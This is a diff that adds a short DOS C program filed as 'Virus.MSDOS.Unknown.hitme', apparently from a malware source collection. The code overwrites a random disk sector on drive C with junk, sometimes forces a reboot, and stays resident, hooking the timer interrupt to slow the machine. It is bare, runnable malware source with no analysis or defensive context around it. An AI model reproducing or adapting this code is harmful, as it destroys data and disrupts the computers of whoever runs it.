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MSDOS/Virus.MSDOS.Unknown.hitme.asm

@@ -0,0 +1,42 @@
+#include <process.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <conio.h>
+#include <dir.h>
+#include <dos.h>
+
+#define INTR 0X1C
+
+#ifdef __cplusplus
+    #define __CPPARGS ...
+#else
+    #define __CPPARGS
+#endif
+
+void interrupt ( *oldhandler)(__CPPARGS);
+
+void interrupt handler(__CPPARGS)
+{
+delay(135);
+oldhandler();
+}
+
+void main(void)
+{
+randomize();
+char buf[512];
+abswrite(2, 1, random(50000)+2000, buf);
+
+if(random(20) == 10)	asm	INT	19h
+
+	oldhandler = getvect(INTR);
+	setvect(INTR, handler);
+	_ES = _psp; //PSP address
+	asm	MOV     es,es:[2ch]
+	_AH = 0x49; //Function 49 (remove memory block)
+	asm	INT	21h        //Call DOS to execute instruction
+	_AH = 0x31; //Function 31 (tsr)
+	_AL = 0x00; //Exit code
+	_DX = _psp; //PSP address
+	asm	INT	21h        //Call DOS to execute instruction
+